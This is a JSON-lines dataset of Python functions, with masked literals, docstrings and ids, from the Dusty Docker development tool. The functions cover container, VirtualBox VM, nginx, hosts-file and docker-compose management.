{"signature": "@memoized<EOL>def get_docker_client():", "body": "env = get_docker_env()<EOL>host, cert_path, tls_verify = env['<STR_LIT>'], env['<STR_LIT>'], env['<STR_LIT>']<EOL>params = {'<STR_LIT>': host.replace('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:version>': '<STR_LIT>'}<EOL>if tls_verify and cert_path:<EOL><INDENT>params['<STR_LIT>'] = docker.tls.TLSConfig(<EOL>client_cert=(os.path.join(cert_path, '<STR_LIT>'),<EOL>os.path.join(cert_path, '<STR_LIT>')),<EOL>ca_cert=os.path.join(cert_path, '<STR_LIT>'),<EOL>verify=True,<EOL>ssl_version=None,<EOL>assert_hostname=False)<EOL><DEDENT>return docker.Client(**params)<EOL>", "docstring": "Ripped off and slightly modified based on docker-py's\n    kwargs_from_env utility function.", "id": "f3144:m4"}
{"signature": "def get_dusty_containers(services, include_exited=False):", "body": "client = get_docker_client()<EOL>if services:<EOL><INDENT>containers = [get_container_for_app_or_service(service, include_exited=include_exited) for service in services]<EOL>return [container for container in containers if container]<EOL><DEDENT>else:<EOL><INDENT>return [container<EOL>for container in client.containers(all=include_exited)<EOL>if any(name.startswith('<STR_LIT>') for name in container.get('<STR_LIT>', []))]<EOL><DEDENT>", "docstring": "Get a list of containers associated with the list\n    of services. If no services are provided, attempts to\n    return all containers associated with Dusty.", "id": "f3144:m5"}
{"signature": "def get_canonical_container_name(container):", "body": "return sorted(container['<STR_LIT>'], key=lambda name: len(name))[<NUM_LIT:0>][<NUM_LIT:1>:]<EOL>", "docstring": "Return the canonical container name, which should be\n    of the form dusty_<service_name>_1. Containers are returned\n    from the Python client with many names based on the containers\n    to which they are linked, but simply taking the shortest name\n    should be sufficient to get us the shortest one.", "id": "f3144:m7"}
{"signature": "def _compose_restart(services):", "body": "def _restart_container(client, container):<EOL><INDENT>log_to_client('<STR_LIT>'.format(get_canonical_container_name(container)))<EOL>client.restart(container['<STR_LIT>'], timeout=<NUM_LIT:1>)<EOL><DEDENT>assembled_specs = get_assembled_specs()<EOL>if services == []:<EOL><INDENT>services = [spec.name for spec in assembled_specs.get_apps_and_services()]<EOL><DEDENT>logging.info('<STR_LIT>'.format(services))<EOL>client = get_docker_client()<EOL>for service in services:<EOL><INDENT>container = get_container_for_app_or_service(service, include_exited=True)<EOL>if container is None:<EOL><INDENT>log_to_client('<STR_LIT>'.format(service))<EOL>continue<EOL><DEDENT>stopped_linked_containers = _check_stopped_linked_containers(container, assembled_specs)<EOL>if stopped_linked_containers:<EOL><INDENT>log_to_client('<STR_LIT>'.format(<EOL>stopped_linked_containers, service))<EOL><DEDENT>else:<EOL><INDENT>_restart_container(client, container)<EOL><DEDENT><DEDENT>", "docstring": "Well, this is annoying. Compose 1.2 shipped with the\n    restart functionality fucking broken, so we can't set a faster\n    timeout than 10 seconds (which is way too long) using Compose.\n    We are therefore resigned to trying to hack this together\n    ourselves. Lame.\n\n    Relevant fix which will make it into the next release:\n    https://github.com/docker/compose/pull/1318", "id": "f3145:m6"}
{"signature": "def update_running_containers_from_spec(compose_config, recreate_containers=True):", "body": "write_composefile(compose_config, constants.COMPOSEFILE_PATH)<EOL>compose_up(constants.COMPOSEFILE_PATH, '<STR_LIT>', recreate_containers=recreate_containers)<EOL>", "docstring": "Takes in a Compose spec from the Dusty Compose compiler,\n    writes it to the Compose spec folder so Compose can pick it\n    up, then does everything needed to make sure the Docker VM is\n    up and running containers with the updated config.", "id": "f3145:m7"}
{"signature": "def stop_running_services(services=None):", "body": "if services is None:<EOL><INDENT>services = []<EOL><DEDENT>_compose_stop(constants.COMPOSEFILE_PATH, '<STR_LIT>', services)<EOL>", "docstring": "Stop running containers owned by Dusty, or a specific\n    list of Compose services if provided.\n\n    Here, \"services\" refers to the Compose version of the term,\n    so any existing running container, by name. This includes Dusty\n    apps and services.", "id": "f3145:m8"}
{"signature": "def restart_running_services(services=None):", "body": "if services is None:<EOL><INDENT>services = []<EOL><DEDENT>_compose_restart(services)<EOL>", "docstring": "Restart containers owned by Dusty, or a specific\n    list of Compose services if provided.\n\n    Here, \"services\" refers to the Compose version of the term,\n    so any existing running container, by name. This includes Dusty\n    apps and services.", "id": "f3145:m9"}
{"signature": "def remove_exited_dusty_containers():", "body": "client = get_docker_client()<EOL>exited_containers = get_exited_dusty_containers()<EOL>removed_containers = []<EOL>for container in exited_containers:<EOL><INDENT>log_to_client(\"<STR_LIT>\".format(container['<STR_LIT>'][<NUM_LIT:0>]))<EOL>try:<EOL><INDENT>client.remove_container(container['<STR_LIT>'], v=True)<EOL>removed_containers.append(container)<EOL><DEDENT>except Exception as e:<EOL><INDENT>log_to_client(e.message or str(e))<EOL><DEDENT><DEDENT>return removed_containers<EOL>", "docstring": "Removed all dusty containers with 'Exited' in their status", "id": "f3146:m1"}
{"signature": "def remove_images():", "body": "client = get_docker_client()<EOL>removed = _remove_dangling_images()<EOL>dusty_images = get_dusty_images()<EOL>all_images = client.images(all=True)<EOL>for image in all_images:<EOL><INDENT>if set(image['<STR_LIT>']).intersection(dusty_images):<EOL><INDENT>try:<EOL><INDENT>client.remove_image(image['<STR_LIT>'])<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(image['<STR_LIT>']))<EOL><DEDENT>else:<EOL><INDENT>log_to_client(\"<STR_LIT>\".format(image['<STR_LIT>']))<EOL>removed.append(image)<EOL><DEDENT><DEDENT><DEDENT>return removed<EOL>", "docstring": "Removes all dangling images as well as all images referenced in a dusty spec; forceful removal is not used", "id": "f3146:m3"}
{"signature": "def _write_nginx_config(nginx_config, path):", "body": "with open(path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(nginx_config)<EOL><DEDENT>", "docstring": "Writes the config file from the Dusty Nginx compiler\n    to the Nginx includes directory, which should be included\n    in the main nginx.conf.", "id": "f3147:m0"}
{"signature": "def update_nginx_from_config(nginx_config):", "body": "logging.info('<STR_LIT>')<EOL>temp_dir = tempfile.mkdtemp()<EOL>os.mkdir(os.path.join(temp_dir, '<STR_LIT:html>'))<EOL>_write_nginx_config(constants.NGINX_BASE_CONFIG, os.path.join(temp_dir, constants.NGINX_PRIMARY_CONFIG_NAME))<EOL>_write_nginx_config(nginx_config['<STR_LIT:http>'], os.path.join(temp_dir, constants.NGINX_HTTP_CONFIG_NAME))<EOL>_write_nginx_config(nginx_config['<STR_LIT>'], os.path.join(temp_dir, constants.NGINX_STREAM_CONFIG_NAME))<EOL>_write_nginx_config(constants.NGINX_502_PAGE_HTML, os.path.join(temp_dir, '<STR_LIT:html>', constants.NGINX_502_PAGE_NAME))<EOL>sync_local_path_to_vm(temp_dir, constants.NGINX_CONFIG_DIR_IN_VM)<EOL>", "docstring": "Write the given config to disk as a Dusty sub-config\n    in the Nginx includes directory. Then, either start nginx\n    or tell it to reload its config to pick up what we've\n    just written.", "id": "f3147:m1"}
{"signature": "def remove_current_dusty_config(config):", "body": "return constants.DUSTY_CONFIG_REGEX.sub(\"<STR_LIT>\", config)<EOL>", "docstring": "Given a string representing the contents of a\n    file, this function strips out the Dusty config section\n    denominated by the Dusty header and footer. Returns\n    the stripped string.", "id": "f3148:m2"}
{"signature": "def _dusty_vm_exists():", "body": "existing_vms = check_output_demoted(['<STR_LIT>', '<STR_LIT:list>', '<STR_LIT>'])<EOL>for line in existing_vms.splitlines():<EOL><INDENT>if '<STR_LIT>'.format(constants.VM_MACHINE_NAME) in line:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "We use VBox directly instead of Docker Machine because it\n    shaves about 0.5 seconds off the runtime of this check.", "id": "f3150:m11"}
{"signature": "def _apply_nat_dns_host_resolver():", "body": "check_and_log_output_and_error_demoted(<EOL>['<STR_LIT>', '<STR_LIT>', constants.VM_MACHINE_NAME, '<STR_LIT>', '<STR_LIT>'],<EOL>quiet_on_success=True)<EOL>", "docstring": "This will make the Dusty VM always use the host's DNS resolver for lookups.\nIt solves an issue we were seeing where the VM's resolving settings would get\nout of date when a laptop was moved between routers with different settings,\nresulting in DNS lookup failures on the VM.", "id": "f3150:m12"}
{"signature": "def _apply_nat_net_less_greedy_subnet():", "body": "check_and_log_output_and_error_demoted(<EOL>['<STR_LIT>', '<STR_LIT>', constants.VM_MACHINE_NAME, '<STR_LIT>', '<STR_LIT>'],<EOL>quiet_on_success=True)<EOL>", "docstring": "By default, VirtualBox claims 10.0.2.x for itself as part of its NAT routing\n    scheme. This subnet is commonly used on internal networks, making this a pretty\n    damn greedy choice. We instead alter the VM to use the less greedy subnet of\n    10.174.249.x which is less likely to conflict.", "id": "f3150:m13"}
{"signature": "def _init_docker_vm():", "body": "if not _dusty_vm_exists():<EOL><INDENT>log_to_client('<STR_LIT>')<EOL>machine_options = ['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', constants.CONFIG_BOOT2DOCKER_URL,<EOL>'<STR_LIT>', str(get_config_value(constants.CONFIG_VM_MEM_SIZE)),<EOL>'<STR_LIT>', constants.VM_NIC_TYPE]<EOL>check_call_demoted(['<STR_LIT>', '<STR_LIT>'] + machine_options + [constants.VM_MACHINE_NAME],<EOL>redirect_stderr=True)<EOL><DEDENT>", "docstring": "Initialize the Dusty VM if it does not already exist.", "id": "f3150:m14"}
{"signature": "def _start_docker_vm():", "body": "is_running = docker_vm_is_running()<EOL>if not is_running:<EOL><INDENT>log_to_client('<STR_LIT>'.format(constants.VM_MACHINE_NAME))<EOL>_apply_nat_dns_host_resolver()<EOL>_apply_nat_net_less_greedy_subnet()<EOL>check_and_log_output_and_error_demoted(['<STR_LIT>', '<STR_LIT:start>', constants.VM_MACHINE_NAME], quiet_on_success=True)<EOL><DEDENT>return is_running<EOL>", "docstring": "Start the Dusty VM if it is not already running.", "id": "f3150:m15"}
{"signature": "def _stop_docker_vm():", "body": "check_call_demoted(['<STR_LIT>', '<STR_LIT>', constants.VM_MACHINE_NAME], redirect_stderr=True)<EOL>", "docstring": "Stop the Dusty VM if it is not already stopped.", "id": "f3150:m16"}
{"signature": "def docker_vm_is_running():", "body": "running_vms = check_output_demoted(['<STR_LIT>', '<STR_LIT:list>', '<STR_LIT>'])<EOL>for line in running_vms.splitlines():<EOL><INDENT>if '<STR_LIT>'.format(constants.VM_MACHINE_NAME) in line:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Using VBoxManage is 0.5 seconds or so faster than Machine.", "id": "f3150:m18"}
{"signature": "def _apply_nic_fix():", "body": "log_to_client('<STR_LIT>')<EOL>check_call_demoted(['<STR_LIT>', '<STR_LIT>', constants.VM_MACHINE_NAME, '<STR_LIT>', constants.VM_NIC_TYPE])<EOL>", "docstring": "Set NIC 1 to use PCnet-FAST III. The host-only NIC type is\n    set during docker-machine create (and Machine will change it\n    back if it is changed manually), which is why we only change\n    NIC 1 here.", "id": "f3150:m20"}
{"signature": "def delete_docker_vm_host_only_interface():", "body": "adapter_name = get_vm_hostonly_adapter()<EOL>log_to_client('<STR_LIT>'.format(adapter_name))<EOL>check_call_demoted(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', adapter_name])<EOL>", "docstring": "Attempt to delete the host-only interface attached\n    to the current Dusty VM. VM should be stopped\n    before calling this.", "id": "f3150:m21"}
{"signature": "def regenerate_docker_vm_certificates():", "body": "log_to_client('<STR_LIT>')<EOL>check_call_demoted(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', constants.VM_MACHINE_NAME])<EOL>", "docstring": "Regenerate certificates for a running VM through Docker Machine.\n    This may be necessary following a restart if there were previously\n    networking issues preventing Machine from doing this as part\n    of normal startup.", "id": "f3150:m22"}
{"signature": "def _get_localhost_ssh_port():", "body": "for line in _get_vm_config():<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>spec = line.split('<STR_LIT:=>')[<NUM_LIT:1>].strip('<STR_LIT:\">')<EOL>name, protocol, host, host_port, target, target_port = spec.split('<STR_LIT:U+002C>')<EOL>if name == '<STR_LIT>' and protocol == '<STR_LIT>' and target_port == '<STR_LIT>':<EOL><INDENT>return host_port<EOL><DEDENT><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Something in the VM chain, either VirtualBox or Machine, helpfully\n    sets up localhost-to-VM forwarding on port 22. We can inspect this\n    rule to determine the port on localhost which gets forwarded to\n    22 in the VM.", "id": "f3150:m26"}
{"signature": "def _get_host_only_mac_address():", "body": "<EOL>vm_config = _get_vm_config()<EOL>for line in vm_config:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>adapter_number = int(line[<NUM_LIT:15>:<NUM_LIT:16>])<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>for line in vm_config:<EOL><INDENT>if line.startswith('<STR_LIT>'.format(adapter_number)):<EOL><INDENT>return line.split('<STR_LIT:=>')[<NUM_LIT:1>].strip('<STR_LIT:\">').lower()<EOL><DEDENT><DEDENT>raise ValueError('<STR_LIT>'.format(adapter_number))<EOL>", "docstring": "Returns the MAC address assigned to the host-only adapter,\n    using output from VBoxManage. Returned MAC address has no colons\n    and is lower-cased.", "id": "f3150:m27"}
{"signature": "def _ip_for_mac_from_ip_addr_show(ip_addr_show, target_mac):", "body": "return_next_ip = False<EOL>for line in ip_addr_show.splitlines():<EOL><INDENT>line = line.strip()<EOL>if line.startswith('<STR_LIT>'):<EOL><INDENT>line_mac = line.split('<STR_LIT:U+0020>')[<NUM_LIT:1>].replace('<STR_LIT::>', '<STR_LIT>')<EOL>if line_mac == target_mac:<EOL><INDENT>return_next_ip = True<EOL><DEDENT><DEDENT>elif return_next_ip and line.startswith('<STR_LIT>') and not line.startswith('<STR_LIT>'):<EOL><INDENT>ip = line.split('<STR_LIT:U+0020>')[<NUM_LIT:1>].split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL>return ip<EOL><DEDENT><DEDENT>", "docstring": "Given the rather-complex output from an 'ip addr show' command\n    on the VM, parse the output to determine the IP address\n    assigned to the interface with the given MAC.", "id": "f3150:m28"}
{"signature": "def _get_host_only_ip():", "body": "mac = _get_host_only_mac_address()<EOL>ip_addr_show = check_output_demoted(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', _vm_key_path(), '<STR_LIT>', _get_localhost_ssh_port(),<EOL>'<STR_LIT>', '<STR_LIT>'])<EOL>return _ip_for_mac_from_ip_addr_show(ip_addr_show, mac)<EOL>", "docstring": "Determine the host-only IP of the Dusty VM through Virtualbox and SSH\n    directly, bypassing Docker Machine. We do this because Docker Machine is\n    much slower, taking about 600ms total. We are basically doing the same\n    flow Docker Machine does in its own code.", "id": "f3150:m29"}
{"signature": "def _dusty_hosts_config(hosts_specs):", "body": "rules =  '<STR_LIT>'.join(['<STR_LIT>'.format(spec['<STR_LIT>'], spec['<STR_LIT>']) for spec in hosts_specs])<EOL>return config_file.create_config_section(rules)<EOL>", "docstring": "Return a string of all host rules required to match\n    the given spec. This string is wrapped in the Dusty hosts\n    header and footer so it can be easily removed later.", "id": "f3151:m0"}
{"signature": "def update_hosts_file_from_port_spec(port_spec):", "body": "logging.info('<STR_LIT>')<EOL>hosts_specs = port_spec['<STR_LIT>']<EOL>current_hosts = config_file.read(constants.HOSTS_PATH)<EOL>cleared_hosts = config_file.remove_current_dusty_config(current_hosts)<EOL>updated_hosts = cleared_hosts + _dusty_hosts_config(hosts_specs)<EOL>config_file.write(constants.HOSTS_PATH, updated_hosts)<EOL>", "docstring": "Given a port spec, update the hosts file specified at\n    constants.HOST_PATH to contain the port mappings specified\n    in the spec. Any existing Dusty configurations are replaced.", "id": "f3151:m1"}
{"signature": "def _nginx_location_spec(port_spec, bridge_ip):", "body": "location_string_spec = \"<STR_LIT>\"<EOL>for location_setting in ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>_nginx_proxy_string(port_spec, bridge_ip)]:<EOL><INDENT>location_string_spec += \"<STR_LIT>\".format(location_setting)<EOL><DEDENT>location_string_spec += \"<STR_LIT>\"<EOL>return location_string_spec<EOL>", "docstring": "This will output the nginx location config string for specific port spec", "id": "f3153:m1"}
{"signature": "def _nginx_http_spec(port_spec, bridge_ip):", "body": "server_string_spec = \"<STR_LIT>\"<EOL>server_string_spec += \"<STR_LIT>\".format(_nginx_max_file_size_string())<EOL>server_string_spec += \"<STR_LIT>\".format(_nginx_listen_string(port_spec))<EOL>server_string_spec += \"<STR_LIT>\".format(_nginx_server_name_string(port_spec))<EOL>server_string_spec += _nginx_location_spec(port_spec, bridge_ip)<EOL>server_string_spec += _custom_502_page()<EOL>server_string_spec += \"<STR_LIT>\"<EOL>return server_string_spec<EOL>", "docstring": "This will output the nginx HTTP config string for specific port spec", "id": "f3153:m6"}
{"signature": "def _nginx_stream_spec(port_spec, bridge_ip):", "body": "server_string_spec = \"<STR_LIT>\"<EOL>server_string_spec += \"<STR_LIT>\".format(_nginx_listen_string(port_spec))<EOL>server_string_spec += \"<STR_LIT>\".format(_nginx_proxy_string(port_spec, bridge_ip))<EOL>server_string_spec += \"<STR_LIT>\"<EOL>return server_string_spec<EOL>", "docstring": "This will output the nginx stream config string for specific port spec", "id": "f3153:m7"}
{"signature": "def get_nginx_configuration_spec(port_spec_dict, docker_bridge_ip):", "body": "nginx_http_config, nginx_stream_config = \"<STR_LIT>\", \"<STR_LIT>\"<EOL>for port_spec in port_spec_dict['<STR_LIT>']:<EOL><INDENT>if port_spec['<STR_LIT:type>'] == '<STR_LIT:http>':<EOL><INDENT>nginx_http_config += _nginx_http_spec(port_spec, docker_bridge_ip)<EOL><DEDENT>elif port_spec['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>nginx_stream_config += _nginx_stream_spec(port_spec, docker_bridge_ip)<EOL><DEDENT><DEDENT>return {'<STR_LIT:http>': nginx_http_config, '<STR_LIT>': nginx_stream_config}<EOL>", "docstring": "This function will take in a port spec as specified by the port_spec compiler and\n    will output an nginx web proxy config string. This string can then be written to a file\n    and used running nginx", "id": "f3153:m8"}
{"signature": "def get_port_spec_document(expanded_active_specs, docker_vm_ip):", "body": "forwarding_port = <NUM_LIT><EOL>port_spec = {'<STR_LIT>':{}, '<STR_LIT>':[], '<STR_LIT>':[]}<EOL>host_full_addresses, host_names, stream_host_ports = set(), set(), set()<EOL>for app_name in sorted(expanded_active_specs['<STR_LIT>'].keys()):<EOL><INDENT>app_spec = expanded_active_specs['<STR_LIT>'][app_name]<EOL>if '<STR_LIT>' not in app_spec:<EOL><INDENT>continue<EOL><DEDENT>port_spec['<STR_LIT>'][app_name] = []<EOL>for host_forwarding_spec in app_spec['<STR_LIT>']:<EOL><INDENT>_add_full_addresses(host_forwarding_spec, host_full_addresses)<EOL>if host_forwarding_spec['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>_add_stream_host_port(host_forwarding_spec, stream_host_ports)<EOL><DEDENT>port_spec['<STR_LIT>'][app_name].append(_docker_compose_port_spec(host_forwarding_spec, forwarding_port))<EOL>port_spec['<STR_LIT>'].append(_nginx_port_spec(host_forwarding_spec, forwarding_port, docker_vm_ip))<EOL>_add_host_names(host_forwarding_spec, docker_vm_ip, port_spec, host_names)<EOL>forwarding_port += <NUM_LIT:1><EOL><DEDENT><DEDENT>return port_spec<EOL>", "docstring": "Given a dictionary containing the expanded dusty DAG specs this function will\n    return a dictionary containing the port mappings needed by downstream methods.  Currently\n    this includes docker_compose, virtualbox, nginx and hosts_file.", "id": "f3154:m6"}
{"signature": "def get_lib_volume_mounts(base_lib_name, assembled_specs):", "body": "volumes = [_get_lib_repo_volume_mount(assembled_specs['<STR_LIT>'][base_lib_name])]<EOL>volumes.append(get_command_files_volume_mount(base_lib_name, test=True))<EOL>for lib_name in assembled_specs['<STR_LIT>'][base_lib_name]['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>lib_spec = assembled_specs['<STR_LIT>'][lib_name]<EOL>volumes.append(_get_lib_repo_volume_mount(lib_spec))<EOL><DEDENT>return volumes<EOL>", "docstring": "Returns a list of the formatted volume specs for a lib", "id": "f3155:m4"}
{"signature": "def _get_app_repo_volume_mount(app_spec):", "body": "if app_spec['<STR_LIT>']:<EOL><INDENT>return \"<STR_LIT>\".format(Repo(app_spec['<STR_LIT>']).vm_path, container_code_path(app_spec))<EOL><DEDENT>", "docstring": "This returns the formatted volume mount spec to mount the local code for an app in the\n    container", "id": "f3155:m5"}
{"signature": "def _get_lib_repo_volume_mount(lib_spec):", "body": "return \"<STR_LIT>\".format(Repo(lib_spec['<STR_LIT>']).vm_path, container_code_path(lib_spec))<EOL>", "docstring": "This returns the formatted volume mount spec to mount the local code for a lib in the\n    container", "id": "f3155:m6"}
{"signature": "def container_code_path(spec):", "body": "return spec['<STR_LIT>']<EOL>", "docstring": "Returns the path inside the docker container that a spec (for an app or lib) says it wants\n    to live at", "id": "f3155:m7"}
{"signature": "def _get_app_libs_volume_mounts(app_name, assembled_specs):", "body": "volumes = []<EOL>for lib_name in assembled_specs['<STR_LIT>'][app_name]['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>lib_spec = assembled_specs['<STR_LIT>'][lib_name]<EOL>volumes.append(\"<STR_LIT>\".format(Repo(lib_spec['<STR_LIT>']).vm_path, container_code_path(lib_spec)))<EOL><DEDENT>return volumes<EOL>", "docstring": "Returns a list of the formatted volume mounts for all libs that an app uses", "id": "f3155:m8"}
{"signature": "def _compose_dict_for_nginx(port_specs):", "body": "spec = {'<STR_LIT:image>': constants.NGINX_IMAGE,<EOL>'<STR_LIT>': ['<STR_LIT>'.format(constants.NGINX_CONFIG_DIR_IN_VM, constants.NGINX_CONFIG_DIR_IN_CONTAINER)],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(constants.DUSTY_NGINX_NAME)}<EOL>all_host_ports = set([nginx_spec['<STR_LIT>'] for nginx_spec in port_specs['<STR_LIT>']])<EOL>if all_host_ports:<EOL><INDENT>spec['<STR_LIT>'] = []<EOL>for port in all_host_ports:<EOL><INDENT>spec['<STR_LIT>'].append('<STR_LIT>'.format(port))<EOL><DEDENT><DEDENT>return {constants.DUSTY_NGINX_NAME: spec}<EOL>", "docstring": "Return a dictionary containing the Compose spec required to run\n    Dusty's nginx container used for host forwarding.", "id": "f3156:m1"}
{"signature": "def get_compose_dict(assembled_specs, port_specs):", "body": "compose_dict = _compose_dict_for_nginx(port_specs)<EOL>for app_name in assembled_specs['<STR_LIT>'].keys():<EOL><INDENT>compose_dict[app_name] = _composed_app_dict(app_name, assembled_specs, port_specs)<EOL><DEDENT>for service_spec in assembled_specs['<STR_LIT>'].values():<EOL><INDENT>compose_dict[service_spec.name] = _composed_service_dict(service_spec)<EOL><DEDENT>return compose_dict<EOL>", "docstring": "This function returns a dictionary representation of a docker-compose.yml file, based on assembled_specs from\n    the spec_assembler, and port_specs from the port_spec compiler", "id": "f3156:m2"}
{"signature": "def _conditional_links(assembled_specs, app_name):", "body": "link_to_apps = []<EOL>potential_links = assembled_specs['<STR_LIT>'][app_name]['<STR_LIT>']<EOL>for potential_link in potential_links['<STR_LIT>']:<EOL><INDENT>if potential_link in assembled_specs['<STR_LIT>']:<EOL><INDENT>link_to_apps.append(potential_link)<EOL><DEDENT><DEDENT>for potential_link in potential_links['<STR_LIT>']:<EOL><INDENT>if potential_link in assembled_specs['<STR_LIT>']:<EOL><INDENT>link_to_apps.append(potential_link)<EOL><DEDENT><DEDENT>return link_to_apps<EOL>", "docstring": "Given the assembled specs and app_name, this function will return all apps and services specified in\n    'conditional_links' if they are specified in 'apps' or 'services' in assembled_specs. That means that\n    some other part of the system has declared them as necessary, so they should be linked to this app", "id": "f3156:m4"}
{"signature": "def _get_build_path(app_spec):", "body": "if os.path.isabs(app_spec['<STR_LIT>']):<EOL><INDENT>return app_spec['<STR_LIT>']<EOL><DEDENT>return os.path.join(Repo(app_spec['<STR_LIT>']).local_path, app_spec['<STR_LIT>'])<EOL>", "docstring": "Given a spec for an app, returns the value of the `build` field for docker-compose.\n    If the path is relative, it is expanded and added to the path of the app's repo.", "id": "f3156:m5"}
{"signature": "def _composed_app_dict(app_name, assembled_specs, port_specs):", "body": "logging.info(\"<STR_LIT>\".format(app_name))<EOL>app_spec = assembled_specs['<STR_LIT>'][app_name]<EOL>compose_dict = app_spec[\"<STR_LIT>\"]<EOL>_apply_env_overrides(env_overrides_for_app_or_service(app_name), compose_dict)<EOL>if '<STR_LIT:image>' in app_spec and '<STR_LIT>' in app_spec:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(app_name))<EOL><DEDENT>elif '<STR_LIT:image>' in app_spec:<EOL><INDENT>logging.info<EOL>compose_dict['<STR_LIT:image>'] = app_spec['<STR_LIT:image>']<EOL><DEDENT>elif '<STR_LIT>' in app_spec:<EOL><INDENT>compose_dict['<STR_LIT>'] = _get_build_path(app_spec)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(app_name))<EOL><DEDENT>compose_dict['<STR_LIT>'] = []<EOL>compose_dict['<STR_LIT>'] = _compile_docker_command(app_spec)<EOL>compose_dict['<STR_LIT>'] = \"<STR_LIT>\".format(app_name)<EOL>logging.info(\"<STR_LIT>\".format(compose_dict['<STR_LIT>']))<EOL>compose_dict['<STR_LIT>'] = _links_for_app(app_spec, assembled_specs)<EOL>logging.info(\"<STR_LIT>\".format(compose_dict['<STR_LIT>']))<EOL>compose_dict['<STR_LIT>'] = compose_dict['<STR_LIT>'] + _get_compose_volumes(app_name, assembled_specs)<EOL>logging.info(\"<STR_LIT>\".format(compose_dict['<STR_LIT>']))<EOL>port_list = _get_ports_list(app_name, port_specs)<EOL>if port_list:<EOL><INDENT>compose_dict['<STR_LIT>'] = port_list<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(port_list))<EOL>compose_dict['<STR_LIT:user>'] = '<STR_LIT:root>'<EOL>return compose_dict<EOL>", "docstring": "This function returns a dictionary of the docker-compose.yml specifications for one app", "id": "f3156:m10"}
{"signature": "def _composed_service_dict(service_spec):", "body": "compose_dict = service_spec.plain_dict()<EOL>_apply_env_overrides(env_overrides_for_app_or_service(service_spec.name), compose_dict)<EOL>compose_dict.setdefault('<STR_LIT>', []).append(_get_cp_volume_mount(service_spec.name))<EOL>compose_dict['<STR_LIT>'] = \"<STR_LIT>\".format(service_spec.name)<EOL>return compose_dict<EOL>", "docstring": "This function returns a dictionary of the docker_compose specifications\n    for one service. Currently, this is just the Dusty service spec with\n    an additional volume mount to support Dusty's cp functionality.", "id": "f3156:m11"}
{"signature": "def _get_ports_list(app_name, port_specs):", "body": "if app_name not in port_specs['<STR_LIT>']:<EOL><INDENT>return []<EOL><DEDENT>return [\"<STR_LIT>\".format(port_spec['<STR_LIT>'], port_spec['<STR_LIT>'])<EOL>for port_spec in port_specs['<STR_LIT>'][app_name]]<EOL>", "docstring": "Returns a list of formatted port mappings for an app", "id": "f3156:m12"}
{"signature": "def _get_compose_volumes(app_name, assembled_specs):", "body": "volumes = []<EOL>volumes.append(_get_cp_volume_mount(app_name))<EOL>volumes += get_app_volume_mounts(app_name, assembled_specs)<EOL>return volumes<EOL>", "docstring": "This returns formatted volume specifications for a docker-compose app. We mount the app\n    as well as any libs it needs so that local code is used in our container, instead of whatever\n    code was in the docker image.\n\n    Additionally, we create a volume for the /cp directory used by Dusty to facilitate\n    easy file transfers using `dusty cp`.", "id": "f3156:m13"}
{"signature": "def _get_dependent(dependent_type, name, specs, root_spec_type):", "body": "spec = specs[root_spec_type].get(name)<EOL>if spec is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(root_spec_type, name))<EOL><DEDENT>dependents = spec['<STR_LIT>'][dependent_type]<EOL>all_dependents = set(dependents)<EOL>for dep in dependents:<EOL><INDENT>all_dependents |= _get_dependent(dependent_type, dep, specs, dependent_type)<EOL><DEDENT>return all_dependents<EOL>", "docstring": "Returns everything of type <dependent_type> that <name>, of type <root_spec_type> depends on\nNames only are returned in a set", "id": "f3157:m0"}
{"signature": "def _get_referenced_apps(specs):", "body": "activated_bundles = specs[constants.CONFIG_BUNDLES_KEY].keys()<EOL>all_active_apps = set()<EOL>for active_bundle in activated_bundles:<EOL><INDENT>bundle_spec = specs[constants.CONFIG_BUNDLES_KEY].get(active_bundle)<EOL>for app_name in bundle_spec['<STR_LIT>']:<EOL><INDENT>all_active_apps.add(app_name)<EOL>all_active_apps |= _get_dependent('<STR_LIT>', app_name, specs, '<STR_LIT>')<EOL><DEDENT><DEDENT>return all_active_apps<EOL>", "docstring": "Returns a set of all apps that are required to run any bundle in specs[constants.CONFIG_BUNDLES_KEY]", "id": "f3157:m2"}
{"signature": "def _expand_libs_in_apps(specs):", "body": "for app_name, app_spec in specs['<STR_LIT>'].iteritems():<EOL><INDENT>if '<STR_LIT>' in app_spec and '<STR_LIT>' in app_spec['<STR_LIT>']:<EOL><INDENT>app_spec['<STR_LIT>']['<STR_LIT>'] = _get_dependent('<STR_LIT>', app_name, specs, '<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Expands specs.apps.depends.libs to include any indirectly required libs", "id": "f3157:m3"}
